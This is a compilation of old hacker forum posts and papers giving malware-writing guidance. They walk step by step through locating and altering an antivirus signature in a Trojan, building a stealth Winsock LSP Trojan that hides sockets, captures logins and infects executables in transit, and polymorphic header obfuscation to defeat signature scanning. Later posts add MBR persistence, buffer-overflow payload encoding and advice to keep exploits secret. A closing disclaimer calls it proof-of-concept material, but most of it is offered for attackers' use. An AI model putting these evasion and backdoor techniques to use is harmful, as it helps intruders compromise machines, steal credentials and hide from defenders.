Okay, it seems that many people still don't know how to create a new strain of
their favourite public Trojan that will pass anti-virus approval. So here's a
step by step cus its something that everyone should really know.
You will need ...
your Trojan
A hex editor
A file splitter would be handy too : )
Create a directory and place your Trojan server.exe in it
Run AV over the directory and it will spot the .exe as a virus
Use the file splitter to cut your exe into separate 1mb sections
Run AV over the directory and it will spot one of the files as a virus
delete the others.
keep splitting the (now 1mb) partial.exe into smaller sections till you get it
real small and still triggering the antivirus.
when its about 24 bytes start deleting the last byte and running AV ... then
deleting the next last byte and running AV ... till AV fails to recognise it
... 93 05 B4 4A CD 21 <- Spotted as Trojan
... 93 05 B4 4A CD <- Spotted as Trojan
... 93 05 B4 4A <- NOT spotted as Trojan
replace the last byte
... 93 05 B4 4A CD
Now lets trim the starting bytes the same way ... one at a time till no longer
recognised as a Trojan
22 23 51 8C DB 8E C3 ... <- Spotted as Trojan
23 51 8C DB 8E C3 ... <- Spotted as Trojan
51 8C DB 8E C3 ... <- Spotted as Trojan
8C DB 8E C3 <- NOT Spotted as Trojan
replace the last byte you removed
51 8C DB 8E C3 ... 93 05 B4 4A CD
now you should have the smallest number of bytes (maybe about 12) that the AV
program will recognise as being the Trojan. Congratulations, you just found the
viral signature :)
now ... lets find where that sequence of bytes occurs in the original .exe ....
lets say at offset 0D98:0348
load your server.exe into Microsoft's 'debug' program with the DOS command
'debug server.exe' and go to that offset, then press U to disassemble the bytes.
51 8C DB 8E C3 8B 1E 93 05 B4 4A CD
0D98:0348 51 PUSH CX
0D98:0349 8CDB MOV BX,DS
0D98:034B 8EC3 MOV ES,BX
0D98:034D 8B1E9305 MOV BX,[0593]
0D98:0351 B44A MOV AH,4A
0D98:0353 CD21 INT 21
Look at the instructions ... PUSH CX pushes the CX register onto the stack, and
the following instruction MOV BX,DS doesn't alter CX -or- the stack ... it is
fairly safe to assume we can swap these two instructions and hopefully it wont
make a difference to the execution of the program ... so lets do that
So ...
we hexedit '51 8C DB 8E C3'
0D98:0348 51 PUSH CX
0D98:0349 8CDB MOV BX,DS
0D98:034B 8EC3 MOV ES,BX
so that it becomes '8C DB 51 8E C3'
0D98:0348 8CDB MOV BX,DS
0D98:034A 51 PUSH CX
0D98:034B 8EC3 MOV ES,BX
And save our new server.exe
Since we have switched a few bytes in the signature it will no longer register
as a Trojan on our AV. Test it to make sure it still works as expected - it
should if you are careful about which two instructions you switch : )
also remember that only one byte of the signature needs to change ... so don't
worry if one of the instructions you chose is partially or even completely
outside of the signature bytes - as long as it results in some change within
the signature : )
NOTES:
Not all antivirus programs use the same set of bytes for a signature - so check
your new file against other popular AV programs too, and repeat the process if
required, till ALL common AV programs fail to report the file : )
You may also need to do the same with any supporting .DLL's that the server
installs on the remote, as these normally have telltale signatures too.
Once you have a new version DONT post it ... if it is widely distributed it
will eventually find its way onto the AV vendors lists as a 'new strain' -
treat this as a PERSONAL version, and it will last you long into the future : )
--=[ Finding Wingates ]=--
Thanks man, but I don't really need help,
Funnily, I wrote the opposite to that about 2 years back ... it sits all day
collecting wingate addresses without searching (Just sitting on undernet
listening to the +s kills for 'mis-configured wingate or proxy' and verifies
them)
Then, whenever I use TCP, say ... IE ... it uses a different wingate for each
connection, so the HTML goes to blah.de and the banner.gif goes to someone on
aol and the title.jpg goes to whoever.wave.home.com Etc ... using a new gate
for each referenced object.
It also periodically checks its list (The test is a loopback)
and marks them for availability and speed. If they are not there, the go into a
holding list, if they don't come back within 24 hours - it expires them
automatically.
At any one time tries to hold at least 50 active gates and organises/replaces
them in order of speed. So MY proxy settings were :
SOCKS4 127.0.0.1:1080
and my code does all my TCP protocol anonymizing for me. So if I telnet to
'ccc.de' I don't go through a wingate manually ... I just connect normally and
the proxy settings anonymize automagicaly. A red/green clickable light in the
icon tray tells me whether I am anonymized-mode or direct-mode.
BTW: (It also drops incoming connections from <> 127.0.0.1 for obvious reasons.
Its slower to use the net this way (Hence the green/red light on the system
tray) , but much safer than an HTTP Proxy because they generally log.
The beauty of wingates is that they don't.
So stay away from public 'anonymizer' proxies, and ones you don't know. They
WILL reveal your npho if a crime is suspected.
--=[ LSP and its role in socket-stealth ]=--
Background
It always struck me as odd that many people see Trojans as the lowest form of
hacking and that writing one is not a worthwhile challenge. I guess this is
because of the extremely low quality of all the Trojans out there ... lets
face it, its meant to be as stealthy as good viral code should be yet it shows
up on a netstat, trips AV software, gets blocked by firewalls, reported by
socket-guardians ... and if that's not bad enough they offer options like
opening and closing CD drawers and similarly childlike things of amusement only
to the young and easily impressed.
I decided that I would try to code one that had full stealth and fooled not
only AV code but also slipped past firewalls.
The task is not as simple as it might at first appear ... I originally started
by rather rudely pushing the Winsock DLL out the way and replacing it with my
own DLL that was in effect a wrapper, this wasn't effective. Another idea was
to recognise common firewalls and alter their ruleset's, but both these ideas
are crude and inflexible. Then, about 5 years ago I hit on LSP.
LSP and its place in the stack
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Most peoples knowledge of TCP/IP is programmatic, their experience ends at the
Winsock and resumes at the ISP's uplink ... they know little about the
mechanisms involved in implementing protocols within the OS, fortunately the OS
is very open in this regard and allows us to play god with a little chunk of
the machine called the TCP/IP Protocol stack.
First we have to stop thinking about the Winsock as a single unit its more than
just the Winsock .DLL - so lets explore how an application sits on a connection.
. [APP-1] [APP-2] [APP-3] ...
. \ | /
. [ Winsock v2 API ]
. |
. [ Winsock v2 .DLL ]
. / \
. [Transport SPI] [Namespace SPI]
. | | | | | |
. Various transport Various namespace
. providers providers
The [Transport SPI] is what we commonly refer to as the 'Protocol stack' they
are services that provide connection management, flow control, error management,
data transfer etc ... In other words, they are the software that tells the
connection how to behave. They are the 'protocols'
The [Namespace SPI] are services that perform protocol-independent name
resolution.
Breaking down the transport SPI further ...
. [TRANSPORT SPI]
. |
. [Layered Protocol1]
. |
. [Layered Protocol2]
. |
. [Layered Protocol3]
. |
. [Base Protocol]
. / \
. [DEVICE1] [DEVICE2] ...
The base protocol handles all the real fine nitty-gritty of connections and
flow of raw data, buffering, etc - it makes sure that incoming data (Travelling
upward) is buffered and controlled ... and that data going out (Travelling down
the stack) is handled in a similarly controlled fashion (It also has other jobs
- but we will ignore all of these) Its enough to understand that the base
protocol service provider just sits between all the complicated network
protocols and the wire - making sure out connection operates happily.
Its important to understand that data_in, data_out, error messages, socket
closes, socket opens, etc ... are passed from one end of this chain to the
other. If a socket is opened as UDP - then a LSP concerned with implementing
UDP will catch, modify and check the data making sure that it fits the
established rules for UDP communication. and happily ignore anything that is
non-UDP.
Another LSP concerned with implementing TCP connections will intercept, check,
modify and handle data on a TCP socket but will ignore any data that is not TCP.

So these layers give us all the rules we need for successful communications.
Now, since each layer sees ALL communications on ALL ports - it can be useful
to write a 'dummy protocol' that does something useful.
Say we want to know whenever a TCP socket is opened or closed ... we can insert
our own LSP into the stack that will ignore anything except sockets opening,
sockets closing, and socket errors.
Firewalls, packet loggers, etc all use this type of mechanism - slide in an LSP
in that isn't really a protocol, but watches data - and maybe occasionally
refuses to pass certain connections or data.
Each LSP has two pointers ... one to the layer above, and one to the layer
below. So hooking into the chain is just like hooking into a linked list. The
actual LSP itself doesn't even show as a process *wink* - but it is written as
a DLL (Although without a dllmain)
Now ... its obvious that an LSP sitting at the bottom of the stack will see
incoming data and connections before anyone else does, and an LSP at the top of
the stack sees all outgoing data and socket manipulations before anyone else -
and therefore can ultimately control what the rest of the system sees.
Now, say we have a firewall in there - screening connections and reporting apps
that try to open listening sockets.
[APP]
[Winsock]
[LSP1]
[LSP2]
[LSP3]
[LSP4]<--Firewall
[BASE LAYER]
[CONNECTION]
Obviously, an illegal application sitting on the Winsock has to pass everything
it does down the chain past the firewall's LSP. But instead of using an
Application that sits ON the sock ... we write our illegal app as an LSP DLL
that sits at the bottom of the LSP chain (And if it ever finds that the layer
immediately below it ISNT the base layer - It will unhook itself from the chain
and reinsert at the bottom)
Now, by Winsock law - the LSP should not be opening sockets, but like the game
of Chinese whispers, if one person in the chain makes up a complete lie -
nobody before them in the chain will ever know. The base layer will never know
the difference, and the other layers will never even know the socket exists.
But to do this we would have to implement the TCP/UDP protocols ourselves ...
so lets do something easier ... lets scan all UDP packets for special ones -
and when we see a special one, lets forget to pass it up the chain ... now we
can UDP *ANY* port on the server and our Trojan will respond and not pass the
packet on, so it wont interrupt anything.
TCP? Lets say I install a TCP filtering LSP ... the LSP has a buffer into which
it places incoming data while it checks for a specially quoted string ...
say ... '<^*|*|-' and then directs everything that follows to our Trojan
(Also in the LSP) ... until it sees '-|*|*^>' and then it passes anything
outside this quote back up the string.
Basically, we strip our commands from ANY socket in such a way that the owning
app never sees it. We can also inject quoted replies into the outgoing stream.
Now any port ... 21, 23, 80, 137, 138, 139 etc is our Trojan, and obviously the
firewall will never see the data, and we are using a port that it already has
allowed.
We may also ask our LSP to monitor the first 50 bytes of TCP data flow in to
port 21 and save it to a file, we can later connect to any port and send our
quoted commands ...
Here's the probable telnet connection ...
-> Welcome to lamer.telnet.com
-> Login please :
<- <^*|*|-SHOWME-|*|*^>
-> <<< showme: guest
-> guest
-> ls -al
-> cd notes
-> l>>>
-> <<< showme: root
-> sillyoldrootpassword
-> ps x
-> linuxco>>>
<- root
-> Password?
<- sillyoldrootpassword
-> Password accepted, Welcome root!
Notice that the telnet daemon never sees us type <^*|*|-SHOWME-|*|*^> it just
sat waiting for our nick ... all it saw was us type 'root' and then supply the
password. The firewall saw us log in because in this instance we are not
getting the LSP to open an unknown connection - we are making a real connection
and passing the data back up the line ... we could choose NOT to pass on any
connections that come from remote port 12121 say ... and then instead of
connecting to the daemon via the firewalls logging LSP - we would be connecting
to our Trojan only, and the firewall LSP would not even be told we called :)
We even have a unique way to spread a virus too ... we look for an EXE header
going OUT on any TCP socket - we read its header for its entry point and its
length ... we adjust the header as it passes through by adding our Trojans
length to the reported length and changing the entry point to the length of the
real exe + 1 .... then we let the exe go through undisturbed and when its
through we hold all outgoing data briefly while we send our Trojan as if it was
part of the original exe, remembering to make a final JMP back to the original
entry point of the real exe ... and hey presto ... exe's infected as they are
sent
The good thing is that the original isn't alters - so AV programs that look for
file-length changes wont see any ... and at the remote side the file didn't
exist before it was sent, so its length change will not be felt cus it NEVER
CHANGED - It arrived that length
(Actually its a bit more tricky that this because you also have to alter the
transaction negotiation, so you would have to do this only to EXE's that you
had also intercepted the exe's /DCC SEND, POST or PUT line (IRC, WWW POST, FTP)
- because if you don't intercept these then the remote side would be already
expecting a file of a certain length.
I hope you are starting to see the power of this ... total control, full
stealth, no firewall difficulties, no strange sockets visible, no connection
sniffing or data logging problems etc ...
I was going to write some demo code for ya fish, but I see that
msdn.microsoft.co.uk have a commented example of LSP development
(A dummy LSP .DLL and also a code sample that shows how to insert it in the
stack)
Just go to msdn.microsoft.co.uk and search on 'LSP'
I took a look and its a good template for inserting your own functionality,
use it as a wrapper for your own code.
Once you are happy with this I'll show you how to make it self-encrypting in a
way that even the decryption header (Which obviously cant be encrypted as it
has to be executable) doesn't have more than 3 byte long signatures (Too small
for viral checking) and the positions and spacing of the real bytes varies
dynamically - Haven't seen any AV that can cope with this yet.
So, go read all this again - then go get the example code so kindly supplied by
M$ and turn that LSP demo into a work of art :)
WHOAH ...
That's kinda dragging the archives a bit, didn't realise how far back this post
had slipped.
Yeah, not only can you grab quoted data before it gets to an application you
can also insert quoted outgoing replies too. But that's not really the main
feature (Although it does solve the problem with external firewalls) The main
feature of LSP is the ability to create sockets that will never show on
netstats/local firewalls/etc ... So, if the firewall is local, then we can even
have a socket all to ourselves and nobody need know. The Trojan allows both mode
ls and is switchable in situ.
Currently there is no *real* payload, its just a spy - but we are looking to
put webcam/mic/ftp/etc ...
There's no reason why we cant get it to move mice and open CD Drawers,
except .. well, what's the point - that's childish 'hey look at me' stuff - not
really what's wanted.
Only 9 commands are currently implemented, but they allow remote data logging
of ACTUAL TRAFFIC on any ports/remoteIPs according to a filter set -or-
monitoring all socket activity (without data) much like a remote firewall log,
RAS and PWL, Keyboard logging, switching between promiscuous and socket-owning,
and a few debugging instructions.
Publishing may now not be such a good idea, I did some work on anti-antivirals
(See later post) and the darn thing doesn't have a freaking signature anymore
due to encrypting the body and inserting random 'no-effect' code snippets into
the decryption header in 4 passes. Not really code that should be release to
the hoards of AOL lamers that are currently worshipping at the cDc altar.
Got a coding team together and the thing is turning into quite an ugly little
project.
Strange thing, we still don't actually have a real payload - lol.
Unfortunately the spec given for AV avoidance had to change as we were
occasionally getting detected in memory (ie, post decrypt) so now (after a lot
of suggestions) each instruction in the body is also word aligned to provide
safe insertion points between instructions - so even the running code has no
signature available (ie: We also obfuscate the running binary to approximately
four times its own length with no signature larger than 3 bytes). Evil huh
*grin*
Look for that post, its quite enlightening - and remember when reading it that
even though some of the 'no-effect' code is about 8 bytes ... the final
obfuscation pass is all <4 bytes.
and instead of the header decrypting the executable to memory, it now decrypts
and obfuscates to memory.
Oops, getting overzealous again, heh. Thanks for the feedback though, its nice
to see someone that appreciates art.
--=[ Beating signature-based antiviral technologies('Anatomy of a ghost') ]=--
[PREFACE]
Are Trojans lame? Well, many people think so ... if you hack a winstation or
winserver and place a Trojan on it, it is unlikely to be there for long due to
antiviral software, tripwire security and its inherent visibility (Netstat -a)
... even if it does go undetected a firewall is likely to render it unreachable.
This guide is aimed at the Trojan writer and shows how to make your Trojan code
pass antiviral scans, this is essential for securing access to a computer
system by installing a backdoor after penetration, and also gives notes on
surviving a re-format of the hard disk. (Yes, you can still keep a machine
trojanised even after a standard re-format) but for some reason few Trojans
implement ANY of the survival measures outlined here - make sure yours does as
your freedom and continued access may rely on it.
Technically, not all back doors are Trojans ... A Trojan is a program that gets
the user to voluntarily install it by masquerading as a legitimate application.
This requires consent and the abuse of trust, a real system cracker will gain
some limited level of access to a machine *without* consent using commonly known
holes in various software (MSOE, MSIE, Netbios, ICQ and mIRC have always been
good examples of this) and use that level of access to implant a piece of code
that gives them further access. Where consent isn't required this code can be
more accurately termed a back-door, however we will use the term Trojan in this
article as it is a word that everyone is familiar with.
[CHAPTER-1] - Beating The Antivirus Threat
How do AV signatures work
~~~~~~~~~~~~~~~~~~~~~~~~~
An antivirus program will search a given .exe .dll .vxd ... etc for a sequence
of bytes that it recognises, this sequence is called the 'Signature' and is
unique to the Trojan. Signatures are taken from the actual CODE of a malicious
program not any text, this is because if a Trojan included the phrase
'Superlamer Trojan v2.oo' this could be considered unique enough to identify
the Trojan, but could also be modified using an editor and so cannot be relied
upon for detection, it is much harder to modify the actual code of a Trojan.
The identifying 'signature' is more likely to be a sequence of bytes that are
found in the code and are not likely to appear in any other programs.
Typical encrypted code
~~~~~~~~~~~~~~~~~~~~~~
[HEADER][ENCRYPTED BODY]
When the header is executed it performs a decryption of the body, typically a
bitwise XORing of the bytes. By the time execution reached the body, the body
has been decrypted and is in a machine-runable form.
Weaknesses:
1. The decryption header cannot be encrypted for obvious reasons, it has to be
machine-runable or it will be rejected as garbage.
2. The decryption header can be used as a 'signature' by antiviral products.
3. Once the body has been decrypted the whole code is in its vulnerable form in
memory and can be seen by AV
Forming a plan
~~~~~~~~~~~~~~
It should be obvious that to prevent antivirus programs from alerting the
administrator to the presence of our Trojan we must somehow also encrypt the
header, but how?
<Pause here and think>
Obfuscation is a good word :) Obfuscation is the act of making something
deliberately complicated or in order to confuse. Obfuscation is NOT encryption,
as an obfuscated item still makes sense when looked at hard enough.
since a given computer instruction is very small (between one and three bytes)
we can obfuscate the code by inserting rubbish between each instruction, the
rubbish must be readable (i.e., make sense to the computer) but must not
actually change anything,
An example of this is in the following 'human' instructions:
one step forward.
one step to the right.
two steps forward
one step to the right
between any of the instructions we can place 'Hop on one foot', 'sing a song',
'wave your hands' ... and we will still get where we want to be, it just takes
longer and just breaks up the pattern.
In fact, we can insert anything from a table of 'pointless' things to do:
[Jump up and down]
[hop on one leg]
[walk forwards one step, then backwards one step]
[its just a jump to the left, and then a step to the right]
[put your hands on your hips]
[recite a poem, walk in a complete circle, roll your eyes]
And we can KEEP adding these 'pointless' instructions to the list until the
list gets unbearably long and confusing ...
they can be inserted at any point, thus even breaking up other instructions. The
net result is garbage ... but if we follow the garbage, we finally get to a
point that is (two steps to the right, and three steps forward of where we
started)
Luckily, computers are good at this, they have an instruction that does noting
but waste time 'NOP' which means 'No Operation) and others can be created:
PUSH AX
POP AX
and...
PUSH AX
PUSH BX
POP AX
POP BX
SWAP BX, AX
armed with a table of these, we can start obfuscating the header to ensure that
AV will not find a signature more than 3 bytes (If you think 3 bytes is enough
for a signature please feel free to search your hard drive for 'any file *.*
containing' 3 random characters.)
The problem is, some of the NO-Operation code is longer than three characters,
and this is a real give-away, no program would ever contain these silly
sequences ... and if the AV vendor had a list of them they could simple use
those as the signatures - which is why we don't use them straight out of the
tin.
Insert random LARGE stupidity between each real instruction of the header
Then go back and insert lots of medium-sized stupidity at random safe points
then put *LOTS* of '3 byte and less' stupidity at random safe points
Now, since even the no-effect sequences also contain sub-sequences, the
permutations of 'silly code' are large and impossible to detect without a
rather clever AI.
The main problem is, that since each instruction can occupy 1,2 or 3 bytes ...
it is difficult to know where it is safe to insert some useless garbage (We
don't want to break an instruction in half or the code won't run) So, we must
use a method of construction that allows the safe points to be obvious.
The best way to do this is by forcing every instruction to be word-aligned
(Occupy 4 bytes)
00 00 II-II
00 II-II-II
00 00-00-II
00 00 00 II
00 00 II-II
Where each II-II-... is a complete instruction ... we can now see that it is
possible to insert new garbage after any fourth byte without breaking an
instruction.
When we have finished inserting our garbage ...
00 00 II-II
00 00 00 GG
00 00 00 GG
00 II-II-II
00 00 00 GG
00 00 GG GG
00 00 GG GG
00 00 00 GG
00 00-00-II
00 GG GG GG
00 00 00 GG
00 00 00 GG
00 GG GG GG
00 00 00 II
00 GG GG GG
00 00 II-II
(GG-GG-... indicates an instruction forming part of a garbage sequence)
We can then remove the leading 00's from each of the words (4 byte sequences)
leaving a correctly formatted (And horribly obfuscated) header.
II-II GG GG II-II-II GG GG-GG GG-GG GG II GG-GG-GG-GG GG GG GG-GG-GG II
GG-GG-GG II-II
This will run, because it is correct machine code ... but it makes little sense
and has no predictable signature greater than three bytes (By now that search
of your hard drive for 'any file *.* containing' 3 random characters should
have finished, and will show nicely that 3 bytes just isn't enough to uniquely
identify a file)
So we win ... our code can obfuscate itself.
The anatomy and chronology
~~~~~~~~~~~~~~~~~~~~~~~~~~
We start with the basic file ... on our home machine ...
WA means Word Aligned (i.e. left-padded with 00's)
( everything in brackets is neither obfuscated nor encrypted )
< everything in angular brackets is obfuscated >
[ everything is square brackets is encrypted ]
We run the code with the command parameter -obfuscate only
(decrypter) [(obfuscator)(Trojan)(encrypter)(WA decrypter)(WA garbagetable)]
the header runs and decrypts the body using the key...
The body runs ...
(obfuscator)(Trojan)(encrypter)(WA decrypter)(WA garbagetable)
The Obfuscator takes the WA decrypter and obfuscates it with multiple passes
from the WA garbagetable, and then tidies it up (Removes Word-Alignment to
produce an executable version) and replaces its original decrypter with this
new version.
<decrypter with new key> (obfuscator)(Trojan)(encrypter)(WA decrypter)
(WA garbagetable)
The Trojan doesn't run (remember, we ran it with -obfuscateonly)
The encrypter runs and re-encrypts the body with a random key
<decrypter> [(obfuscator)(Trojan)(encrypter)(WA decrypter)(WA garbagetable)]
THERE!
We just created a unique Trojan ...
from: (decrypter) [(obfuscator)(Trojan)(encrypter)(WA decrypter)
(WA garbagetable)]
to: <decrypter> [(obfuscator)(Trojan)(encrypter)(WA decrypter)(WA garbagetable)]
the decrytion header is scrambled beyond recognition, and the body is encrypted
with a new key
there are NO identifiable features.
It can now be inserted into the target machine undetected by AV.
Every time it runs in the target machine it will transform itself, thus making
it impossible to find by signature ... if the Trojan FINDS files to infect for
itself, then YOU will even lose it. (Not a nice scenario if you accidentally
infect yourself)
If the Trojan was a true viral entity (IE, infects files, boot disks, etc ...)
then you would have a very nasty little outbreak of compromised machines. This,
of course, would be unethical.
Surviving the a re-format
~~~~~~~~~~~~~~~~~~~~~~~~~
There are many viruses out there that survive a format by placing a copy of
themselves in the MBR (Master Boot Record) of a drive ... this can raise an
alarm on a machine with BootSector protection built into the BIOS, however ...
on all major BIOSes there ways to detect if this is in operation by looking at
the CMOS, the Trojan can then decide for itself whether to attempt an infection
of the MBR.
I am not going to give specifics on how this is done ... a casual look at MBR
Resident viral code will supply the code needed, and a brief look at some of
the common BIOS will show you how to read (But not change) the MBR protection
status.
Note to the wise:
Unless you have a multiboot manager such as LILO you should always use the
command 'fdisk /mbr' to reset the Master Boot Record after a reformat. If you
have a DDO (Dynamic Drive Overlay ... you should still 'fdisk /mbr' and then
re-install the DDO)
Laughing at FireWall security
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Check my paper on 'LSP Trojans -v- Firewalls' and its companion
'Anatomy of LSP malware'
"MalWare that aggressively occupies the lowest level in the Winsock's TCP/IP
protocol stack (Transport SPI) can completely negate firewall security on a
local machine, and also become parasitic to legitimate services allowed through
a corporate gateway firewall."
A local firewall can be defeated using an LSP shielded socket, or by making the
whole Trojan an LSP.
A corporate firewall can be defeated by using an LSP in 'socket promiscuous'
mode.
PacketLoggers can also be defeated this way.
Exception to this is logging functionality built into the .vxd driver for a
network card - This is so rare I've never seen it done, but I'm sure someone
somewhere should have thought of it by now.
This is also a watertight way of ensuring that socket-enumerators (Such as the
'netstat -a' command cannot see any port opened by your Trojan)
NOTE:
Hacking was made illegal in the UK in 1990 (Read 'computer misuse act 1990' or
mail me for a copy)
Please check your countries local, state or federal laws regarding the creation
and use of 'malicious' software.
Intent is not always required for a successful prosecution: Be advised that in
some paranoid countries the crafting of a virus or Trojan 'whether it was
intended for distribution or not', is a criminal offence.
If in doubt seek legal guidance or simply don't bother.
The author takes no responsibility for your actions, this paper was written to
highlight the insecurity of current commercial solutions to the ever growing
viral/Trojan threat. It is written to be provocative and may be viewed by some
as an incitement to commit crime, however the article constitutes a guide those
wishing to produce a 'proof of concept' (in a country where it is legal for
them to do so) and is aimed solely at those administrators wishing to
demonstrate the vulnerabilities of their current security solutions.
This article can be distributed freely provided that due credit is given.
=================> However, have you thought about the delivery system ?
Oh, that old chestnut! *grin*
The infection vector is of course the hackers art and warrants not only a book
to itself, but a whole library.
Obviously, asking the person to install it is rather lame and doesn't
constitute 'hacking' To get a backdoor into a persons machine you actually need
to be just a little more sophisticated.
Exploiting/forcing shares (netbios attacks) are well documented and I think one
of the best explanations of this I ever saw was at the DEFCon conference when
he gave a fun-filled talk on the inherent vulnerability of shares, netbios and
registries.
I think this talk is probably still streamable from the defcon site somewhere,
if I find it I will add it to the bottom of this post as a URL.
Oh wait, found it .. its there :)
http://www.defcon.org/html/defcon-media-archives-defcon.html
Another method would be exploiting buffer overflow conditions to place your
code on the heap ... this will most often send the attacked machine flying off
into J-Space, but when it reboots its all yours, and lets face it, normally a
post-infection reboot is what you wanted anyhow.
MSIE, MSOE, mIRC, pIRCh, iFTPd, ICQ, ICU, RogueSpear, UO and even the netbios
itself have all been vulnerable to this in various forms ... the list is too
huge to mention. And when they fix one, very often another emerges keeping the
hacker in ready supply of methods of entry.
The thing to remember is that an exploitable buffer-overflow often only gives
you a small number of bytes to play with, so good ASM ability is need to get
the best (or anything) out of them.
Normal what would happen is this ... you have a buffer and it is surrounded by
code:
[BUFFER][CRAP][CODE][ERROR HANDLER]
When we sent it too much data to handle correctly, the buffer should truncate
it (Here we send the string 'toomuchdatafortheapplicationtohandle') and the
application truncates ...
[BUFFER][CRAP][CODE][ERROR HANDLER]
toomuc.
By screwing the buffer with an incorrectly formatted communication (Or by lying
about its length) we can overflow the buffer and overwrite sections of the
program, this obviously crashes the application:
[BUFFER][CRAP][CODE][ERROR HANDLER]
toomuchdatatohandlecorrectly
But if we are clever, we can send code to crash the application in a *useful*
way !
[BUFFER][CRAP][CODE][ERROR HANDLER]
garbagegarbagegCODEarNASTYCODE
When the program calls its error handler for the buffer (This could also be a
parsing routine or some other function) it executes the code we placed there.
In this case, instead of running the ERROR HANDLER it runs NASTYCODE and then
probably (But not necessarily) crashes.
Typically we only have a small number of bytes in which to write our 'nastycode'
due to the amount of space wasted overflowing the buffer and then the padding
needed to put the nastycode in the right memory locations. Certainly not enough
code to make a Trojan.
So what can we do? Well ... we can make it attempt to grab a file from a URL
and execute it ... or make it simply open an unpassworded fileshare giving us
access to their drives, maybe we just want to wipe their drives ... its up to
the cracker.
A point to note:
A CR/LF/NULL etc ... must not exist in the string you are sending as it will
most likely (Depending on the app) terminate the buffer early, and your code
will not be written entirely.
Since code often needs a 10 13 or 00 byte somewhere, it is wise to write your
code first, and then try XORing it with different values till you find one that
removes all 00, 10 and 13's from your code. The first few instructions in your
code would then be dedicated to unXOR'ing the rest in a simple loop. This way
you get the code in fully, and it unwraps before execution.
Man, there are so many ways of doing this, and they are the basis for a hackers
secret lil exploits library. I think there are very few machines out there that
I cant get into with a common or custom sploit. e.g. I recently found two in
the 'scour exchange' code prior to it closing down.
And anyone that runs ICQ is a fool (I mean that in a nice way) as it still has
more exploitable holes than I've ever seen in a web application.
PS. If you find exploits, keep them to yourself ... otherwise you will just
result in a new version of the software and the potential loss of your
advantage.
BTW, the real fun starts when there's a sploit in an OCX ... as suddenly you
find lots of software suffering in very similar ways.
To find heap buffer overflows, get NuMega softice and start probing around in
common applications. There is some ad/marketing software currently inserted in
MANY programs that has a *very* tight exploit but I find its just 4 bytes
bigger than I need to open an unrestricted passwordless fileshare ... and SO
many machines have the software.
So many opportunities,
For a good PUBLIC example of a 'sploit complete with proof-of-concept code to
try it out, see the IE3 and IE4 buffer hole's in the way they parsed certain
resource types.
I think this post is probably long and confusing ... ummm, but I can't be
bothered to read it back and neaten it up - hope I didn't miss the point
completely. *grin*
================>
>>A CR/LF/NULL etc ... must not exist in the string you are >>sending as it
will most likely (Depending on the app) >>terminate the buffer early, and your
code will not be written >>entirely.
I know a Null would do this, but a CRLF ?
SSS
================>
Yes, it depends on what the app you are overflowing uses as a message delimiter.
That is why I say it is application specific.
It is wholly possible that there is an app out there that buffers and parses a
stream where commands are delimited with a '!' character ... in which case a
premature '!' in the string would cause your code to become split and the two
halves parsed separately, thus your overflow would not happen, or would not
properly locate the infection in memory (Perfectly starting at the entry point
of a routine to be called in the near future)
NULLs and CRLF's are simple the more common ones.
Take IRC, messages are delimited by CRLF ... some incorrect, oversized string
attempting to overflow the expected maximum of 512bytes could not contain the
CRLF sequence as it would prematurely end the line ... so if your code had
these as nuisance bytes in your ASM, then you would have to use some kind of
mechanism for avoiding them (Change your code, or XOR the bytes)
Is that clear, or am I just mumbling?
> Nope, its clear, just fine. Your over clarifying
> things a bit in the other posts ;) Some of us
> aren't all that lame you know.
And some of them are (I mention no names, but they know who they are :)
> I was more interested in examples of typical
> apps / cases in which the CR-LF thing would
> mess up, irc is one you mentioned...have you
> met up with such others ?
Thousands ... anything that delimits with a CR/LF
will split and parse each delimited section separately
We are talking expected protocol here, not buffer. The buffer is almost always
a Zero-Terminated string (Unless it is fixed length) But the protocol can be
anything, and many protocols that sent readable text delimit on a CRLF,
particularly those services that are interactive.
Try telneting to your mailer or to the httpdaemon, they are CR/LF delimited
services. The exception being in http's MIME urlformencoded requests. so CRLF
delimits discrete messages to the parser and a Zero marks the buffer end.
> I know about buffer overflows in *nix, do you have
> any data on them in Windows ? Do they work, how
> effective are they, anything unique about them ?
> That's of course, apart from the peculiarities of
> each program we would find by using a disassembler
> (softice, w32 etc).
Unique about them? They are all unique in how much code you can push,
reliability, how much padding is needed ... etc ...
The are VERY effective (Providing you can get your code to complete BEFORE the
program goes spinning off into J-Space)
> I really should learn Win 32 ASM, how different
> is it from standard 386 - Pentium DOS ASM ?
Win32 ASM ??? Heh ... don't say that man - if MS owns the instruction set then
Linux runs on top of Win32. ROFL.
The pentium and the 386 have different instruction sets, but the differences
are minor and well documented. Your standard 80x86 set will be fine, just
remember that you are 32bit.
--=[ Firewalls ]=--
Well, there are firewalls and then there are FIREWALLS ... there are also
socket guardians ...
None of them are effective against a determined hacker.
1. Socket guardians
Firstly, A socket guardian (Such as 'ZoneAlarm') simply allows/denies each
application on your machine from opening listening sockets - or opening
outgoing sockets. This is supposed to stop a Trojan as it will ask 'Do you want
this app to become a server' - the idea being that if you don't recognise it
(Or it isn't supposed to be an Inet app) you will say NO and block it.
Guardians generally don't allow you to set up rules based on protocol/remote
port/remote IP/zones or local ports/IPs.
The first problem with these is that a Trojan MAY be disguised as (or bound to)
an application that requires internet access - you downloaded it because you
wanted it, and then you grant it access not realising its a Trojan. The second
problem is that a socket opened BEFORE the guardian is run will be allowed
access and thus not spotted. Stay away from guardian type programs such as
zonealarm at all costs, they are so easily defeated.
2. firewalls
Then there are local firewalls ... these bind into the TCP/IP protocol stack
and act as a filter to unwanted/suspicious packets. Can be very useful if they
allow you to create complex rulesets. But a sound knowledge of internet
protocols and practices are required to set one up effectively ... again, don't
expect these to prevent you being hacked as they have flaws. A firewall does
little to stop a hacker ...
An OS generally isn't crackable unless you run a service or application (Such
as mirc, ICQ, some FTP daemons, NetBios/shares , Virtual Private Networking,
MSN, HTTPd's etc ...) In order for your software to work you create a hole in
your wall for it to talk through (Otherwise you have no internet access) now
the world can talk to your service - but most services have security holes,
some of them are quite drastic and allow buffer or heap overflows allowing an
attacker to run code off your machine without you needing to accept a file.
Your firewall cannot protect you against these effectively.
For example, there are numerous published and unpublished holes in all mirc
chat software and every version of IE up to v5.1 ... etc ... even *nix's have
many published/unpublished service holes. You will create a hole in your
firewall for the service, access - and that's all a hacker would need to
exploit race/heap o'flow/stack o'flow conditions.
The other thing a firewall is 'supposed' to protect you against is DoS attacks
- however they can't stop most attacks they even help them in some cases. All
you can hope for is a log ... if the user was stupid enough to use their own IP
on an ISP that has their true details then the IP could be useful ... but it is
